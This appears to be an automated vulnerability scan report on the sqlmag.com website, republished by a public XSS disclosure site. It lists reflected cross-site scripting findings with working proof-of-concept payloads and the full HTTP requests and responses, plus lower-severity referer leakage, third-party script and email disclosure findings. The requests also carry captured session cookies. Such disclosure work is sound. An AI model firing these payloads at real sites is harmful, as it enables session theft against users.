XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, sqlmag.com

Report generated by XSS.CX at Thu Jun 23 09:42:06 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

Loading

1. Cross-site scripting (reflected)

1.1. http://www.sqlmag.com/categories/category/t-sql-powershell-scripting [REST URL parameter 3]

1.2. http://www.sqlmag.com/categories/category/t-sql-powershell-scripting [name of an arbitrarily supplied request parameter]

1.3. http://www.sqlmag.com/categories/category/t-sql-powershell-scripting [name of an arbitrarily supplied request parameter]

1.4. http://www.sqlmag.com/print/sql-server/Hardening%20SQL%20Server-135858 [name of an arbitrarily supplied request parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

4. Email addresses disclosed

4.1. http://www.sqlmag.com/DesktopModules/PentonMojo/Resources/Scripts/jquery.colorbox.js

4.2. http://www.sqlmag.com/Resources/Shared/scripts/DotNetNukeAjaxShared.js

4.3. http://www.sqlmag.com/Resources/Shared/scripts/widgets.js



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.sqlmag.com/categories/category/t-sql-powershell-scripting [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.sqlmag.com
Path:   /categories/category/t-sql-powershell-scripting

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a0ce'%3bac4a871eaef was submitted in the REST URL parameter 3. This input was echoed as 5a0ce';ac4a871eaef in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /categories/category/t-sql-powershell-scripting5a0ce'%3bac4a871eaef HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000; s_vi=[CS]v1|2701A19C851D2831-6000013660027381[CE]; __utmz=20365114.1308836723.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ContentURL=//404; __utma=20365114.1181228728.1308836680.1308836680.1308838668.2; __utmc=20365114; __utmb=20365114.1.10.1308838668; language=en-US; s_pers=%20s_vnum%3D1311428665712%2526vn%253D2%7C1311428665712%3B%20s_depth%3D1%7C1308840466335%3B%20s_dirL%3D1%7C1308840466341%3B%20s_visit%3D1%7C1308840475299%3B%20s_getNewRepeat%3D1308838675303-Repeat%7C1340374675303%3B%20s_invisit%3Dtrue%7C1308840475305%3B; s_sess=%20s_cm%3DundefinedDirect%2520LoadDirect%2520Load%3B%20s_cc%3Dtrue%3B%20gpb_tdt%3DDirect%2520Traffic%3B%20s_sq%3Dpentonsqlmag%253D%252526pid%25253DSQL%25252520Server%25252520%2525253A%25252520Hardening%25252520SQL%25252520Server%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.sqlmag.com%2525252Fcategories%2525252Fcategory%2525252Ft-sql-powershell-scripting%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Connection: keep-alive
Set-Cookie: language=en-US; path=/; HttpOnly
Set-Cookie: ContentURL=//categories//category ; path=/; HttpOnly
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Type: text/html; charset=utf-8
Date: Thu, 23 Jun 2011 14:52:43 GMT
Content-Length: 57649
ETag: "pvf4624c5c987e6de4ffaf7e6a8accbcf2"
Cache-Control: private
X-PvInfo: [S10203.C70461.A45964.RA0.G11331.U6E5AA871].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<script src="http://ad.doubleclick.net/adj/sql.home/;abr=!webtv;page=/categories/category/t-sql-powershell-scripting5a0ce';ac4a871eaef;dcopt=ist;sz=205x90;tile=1;pos=205_1;ord=' + dartrnum + '">
...[SNIP]...

1.2. http://www.sqlmag.com/categories/category/t-sql-powershell-scripting [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sqlmag.com
Path:   /categories/category/t-sql-powershell-scripting

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2ff9'-alert(1)-'0cbeb841d72 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /categories/category/t-sql-powershell-scripting?c2ff9'-alert(1)-'0cbeb841d72=1 HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000; s_vi=[CS]v1|2701A19C851D2831-6000013660027381[CE]; __utmz=20365114.1308836723.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ContentURL=//404; __utma=20365114.1181228728.1308836680.1308836680.1308838668.2; __utmc=20365114; __utmb=20365114.1.10.1308838668; language=en-US; s_pers=%20s_vnum%3D1311428665712%2526vn%253D2%7C1311428665712%3B%20s_depth%3D1%7C1308840466335%3B%20s_dirL%3D1%7C1308840466341%3B%20s_visit%3D1%7C1308840475299%3B%20s_getNewRepeat%3D1308838675303-Repeat%7C1340374675303%3B%20s_invisit%3Dtrue%7C1308840475305%3B; s_sess=%20s_cm%3DundefinedDirect%2520LoadDirect%2520Load%3B%20s_cc%3Dtrue%3B%20gpb_tdt%3DDirect%2520Traffic%3B%20s_sq%3Dpentonsqlmag%253D%252526pid%25253DSQL%25252520Server%25252520%2525253A%25252520Hardening%25252520SQL%25252520Server%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.sqlmag.com%2525252Fcategories%2525252Fcategory%2525252Ft-sql-powershell-scripting%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Connection: keep-alive
Set-Cookie: language=en-US; path=/; HttpOnly
Set-Cookie: ContentURL=//categories//category//t-sql-powershell-scripting ; path=/; HttpOnly
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Type: text/html; charset=utf-8
Date: Thu, 23 Jun 2011 14:51:25 GMT
Content-Length: 114296
ETag: "pv8f2d884894468243a7f604e583003120"
Cache-Control: private
X-PvInfo: [S10203.C70461.A45964.RA0.G11331.U8A013565].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<script src="http://ad.doubleclick.net/adj/sql.home/general;abr=!webtv;page=/categories/category/t-sql-powershell-scripting?c2ff9'-alert(1)-'0cbeb841d72=1;dcopt=ist;sz=468x60,728x90;tile=1;pos=728_1;ord=' + dartrnum + '">
...[SNIP]...

1.3. http://www.sqlmag.com/categories/category/t-sql-powershell-scripting [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sqlmag.com
Path:   /categories/category/t-sql-powershell-scripting

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fd2f"><script>alert(1)</script>0e84ba1ce1c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /categories/category/t-sql-powershell-scripting?4fd2f"><script>alert(1)</script>0e84ba1ce1c=1 HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000; s_vi=[CS]v1|2701A19C851D2831-6000013660027381[CE]; __utmz=20365114.1308836723.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ContentURL=//404; __utma=20365114.1181228728.1308836680.1308836680.1308838668.2; __utmc=20365114; __utmb=20365114.1.10.1308838668; language=en-US; s_pers=%20s_vnum%3D1311428665712%2526vn%253D2%7C1311428665712%3B%20s_depth%3D1%7C1308840466335%3B%20s_dirL%3D1%7C1308840466341%3B%20s_visit%3D1%7C1308840475299%3B%20s_getNewRepeat%3D1308838675303-Repeat%7C1340374675303%3B%20s_invisit%3Dtrue%7C1308840475305%3B; s_sess=%20s_cm%3DundefinedDirect%2520LoadDirect%2520Load%3B%20s_cc%3Dtrue%3B%20gpb_tdt%3DDirect%2520Traffic%3B%20s_sq%3Dpentonsqlmag%253D%252526pid%25253DSQL%25252520Server%25252520%2525253A%25252520Hardening%25252520SQL%25252520Server%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.sqlmag.com%2525252Fcategories%2525252Fcategory%2525252Ft-sql-powershell-scripting%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Connection: keep-alive
Set-Cookie: language=en-US; path=/; HttpOnly
Set-Cookie: ContentURL=//categories//category//t-sql-powershell-scripting ; path=/; HttpOnly
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Type: text/html; charset=utf-8
Date: Thu, 23 Jun 2011 14:51:18 GMT
Content-Length: 115054
ETag: "pvd8a581fda1d8f49a10bd91d3e0b8cf87"
Cache-Control: private
X-PvInfo: [S10203.C70461.A45964.RA0.G11331.UE4EC9CA0].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<a href="http://ad.doubleclick.net/jump/sql.home/general;page=/categories/category/t-sql-powershell-scripting?4fd2f"><script>alert(1)</script>0e84ba1ce1c=1;dcopt=ist;sz=468x60,728x90;tile=1;pos=728_1;ord=123456">
...[SNIP]...

1.4. http://www.sqlmag.com/print/sql-server/Hardening%20SQL%20Server-135858 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sqlmag.com
Path:   /print/sql-server/Hardening%20SQL%20Server-135858

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff045"><script>alert(1)</script>77b0b812f1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /print/sql-server/Hardening%20SQL%20Server-135858?ff045"><script>alert(1)</script>77b0b812f1d=1 HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000; s_vi=[CS]v1|2701A19C851D2831-6000013660027381[CE]; __utmz=20365114.1308836723.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=20365114.1181228728.1308836680.1308836680.1308836680.1; __utmc=20365114; language=en-US; ContentURL=//404; s_pers=%20s_depth%3D1%7C1308838465705%3B%20s_dirL%3D1%7C1308838465707%3B%20s_visit%3D1%7C1308840460924%3B%20s_getNewRepeat%3D1308838660931-Repeat%7C1340374660931%3B%20s_vnum%3D1311428665712%2526vn%253D2%7C1311428665712%3B%20s_invisit%3Dtrue%7C1308840460933%3B; s_sess=%20s_cc%3Dtrue%3B%20s_cm%3DundefinedDirect%2520LoadDirect%2520Load%3B%20gpb_tdt%3DDirect%2520Traffic%3B%20s_sq%3Dpentonsqlmag%253D%252526pid%25253DSQL%25252520Server%25252520%2525253A%25252520Hardening%25252520SQL%25252520Server%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.sqlmag.com%2525252Fprint%2525252Fsql-server%2525252FHardening%2525252520SQL%2525252520Server-135858%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Connection: keep-alive
Set-Cookie: language=en-US; path=/; HttpOnly
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Type: text/html; charset=utf-8
Date: Thu, 23 Jun 2011 14:50:16 GMT
Content-Length: 33000
ETag: "pv8a955dac828ac5ecdce1f83a316bec3f"
Cache-Control: private
X-PvInfo: [S10203.C70461.A45964.RA0.G11331.UAEEAB2C8].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.sqlmag.com/print/sql-server/Hardening%20SQL%20Server-135858?ff045"><script>alert(1)</script>77b0b812f1d=1"
scrolling="no" frameborder="0"
style="border:none; width:380px; height:40px; margin-top:20px;">
...[SNIP]...

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sqlmag.com
Path:   /404

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /404?aspxerrorpath=/404.aspx HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; language=en-US; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000

Response

HTTP/1.1 404 Not Found
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
Set-Cookie: language=en-US; path=/; HttpOnly
Set-Cookie: ContentURL=//404 ; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Thu, 23 Jun 2011 13:43:50 GMT
Content-Length: 39127
Cache-Control: private
X-PvInfo: [S10203.C70461.A45964.RA0.G11331.UC6A583C].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://metrics.sqlmag.com/b/ss/pentonsqlmag/1/H.11--NS/0"
height="1" width="1" border="0" alt="" />
...[SNIP]...
<li class="first"><a href="http://www.windowsitpro.com"><span>
...[SNIP]...
<li><a href="http://www.winsupersite.com"><span>
...[SNIP]...
<li><a href="http://www.devproconnections.com"><span>
...[SNIP]...
<li><a href="http://www.sharepointpromag.com"><span>
...[SNIP]...
<li class="rmItem rmFirst"><a href="http://www.windowsitpro.com/awards.aspx" class="rmLink"><span class="rmText">
...[SNIP]...
<li class="rmItem rmFirst"><a href="http://devconnections.com/home.aspx?cid=sites" class="rmLink"><span class="rmText">
...[SNIP]...
<li class="rmItem "><a href="http://elearning.left-brain.com/" class="rmLink"><span class="rmText">
...[SNIP]...
<li class="rmItem rmLast"><a href="http://www.windowsitpro.com/community/UserGroupCentral.aspx" class="rmLink"><span class="rmText">
...[SNIP]...
<li><a target="_blank" href="http://www.devproconnections.com">DevProConnections</a>
...[SNIP]...
<li><a target="_blank" href="http://www.ittv.net">ITTV</a>
...[SNIP]...
<li><a target="_blank" href="http://www.left-brain.com">Left-Brain</a>
...[SNIP]...
<li><a target="_blank" href="http://www.sharepointpromag.com">SharePointPro Connections</a>
...[SNIP]...
<li><a target="_blank" href="http://www.winsupersite.com">SuperSite for Windows</a>
...[SNIP]...
<li><a href="http://www.windowsitpro.com">Windows IT Pro</a>
...[SNIP]...
<li><a href="http://www.penton.com/PrivacyStatementSH.aspx" target="_blank">Privacy Statement</a>
...[SNIP]...
<li><a href="http://www.penton.com/TermsofUse/tabid/71/Default.aspx" target="_blank">Terms Of Use</a>
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sqlmag.com
Path:   /categories/category/t-sql-powershell-scripting

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /categories/category/t-sql-powershell-scripting HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000; s_vi=[CS]v1|2701A19C851D2831-6000013660027381[CE]; __utmz=20365114.1308836723.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ContentURL=//404; __utma=20365114.1181228728.1308836680.1308836680.1308838668.2; __utmc=20365114; __utmb=20365114.1.10.1308838668; language=en-US; s_pers=%20s_vnum%3D1311428665712%2526vn%253D2%7C1311428665712%3B%20s_depth%3D1%7C1308840466335%3B%20s_dirL%3D1%7C1308840466341%3B%20s_visit%3D1%7C1308840475299%3B%20s_getNewRepeat%3D1308838675303-Repeat%7C1340374675303%3B%20s_invisit%3Dtrue%7C1308840475305%3B; s_sess=%20s_cm%3DundefinedDirect%2520LoadDirect%2520Load%3B%20s_cc%3Dtrue%3B%20gpb_tdt%3DDirect%2520Traffic%3B%20s_sq%3Dpentonsqlmag%253D%252526pid%25253DSQL%25252520Server%25252520%2525253A%25252520Hardening%25252520SQL%25252520Server%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.sqlmag.com%2525252Fcategories%2525252Fcategory%2525252Ft-sql-powershell-scripting%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Connection: keep-alive
Set-Cookie: language=en-US; path=/; HttpOnly
Set-Cookie: ContentURL=//categories//category//t-sql-powershell-scripting ; path=/; HttpOnly
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Type: text/html; charset=utf-8
Date: Thu, 23 Jun 2011 14:45:32 GMT
Content-Length: 112765
ETag: "pv17c53290aa23a71b34fd25b3fa01a2fb"
Cache-Control: private
X-PvInfo: [S10203.C70461.A45964.RA0.G11331.U8A45F78C].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
</script>
   <script language="javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

4. Email addresses disclosed  previous
There are 3 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


4.1. http://www.sqlmag.com/DesktopModules/PentonMojo/Resources/Scripts/jquery.colorbox.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sqlmag.com
Path:   /DesktopModules/PentonMojo/Resources/Scripts/jquery.colorbox.js

Issue detail

The following email address was disclosed in the response:

Request

GET /DesktopModules/PentonMojo/Resources/Scripts/jquery.colorbox.js HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=hLbIaT1ozAEkAAAANTdhZDUyZjQtYTc0Yi00NjY0LWIwZmYtOTE5NTU4OWQ2MGI30; ASP.NET_SessionId=gmn332lzmdbyv55h2act3yt3; site_rbk=1; BIGipServerpool_sqlmag.com_http_12152010=2729705994.20480.0000; language=en-US; ContentURL=//404

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Type: application/x-javascript
Last-Modified: Wed, 15 Jun 2011 15:35:12 GMT
ETag: "pv2fe1ca7eb19362939981939838ca93fd"
X-PvInfo: [S11101.C70461.A45914.RA0.G11332.UF538A0A9].[OT/all.OG/includes]
Vary: Accept-Encoding
Accept-Ranges: bytes
Connection: Keep-Alive
Date: Thu, 23 Jun 2011 14:11:53 GMT
Age: 1533
Content-Length: 23666

// ColorBox v1.3.15 - a full featured, light-weight, customizable lightbox based on jQuery 1.3+
// Copyright (c) 2010 Jack Moore - jack@colorpowered.com
// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
(function ($, window) {

   // ColorBox Default Settings.    
   // See http://colorpowered.com/colorbox for details.
   va
...[SNIP]...

4.2. http://www.sqlmag.com/Resources/Shared/scripts/DotNetNukeAjaxShared.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sqlmag.com
Path:   /Resources/Shared/scripts/DotNetNukeAjaxShared.js

Issue detail

The following email address was disclosed in the response:

Request

GET /Resources/Shared/scripts/DotNetNukeAjaxShared.js HTTP/1.1
Host: www.sqlmag.com
Proxy-Connection: keep-alive
Referer: http://www.sqlmag.com/article/sql-server/hardening%20sql%20server-135858
X-Requested-With: XMLHttpRequest
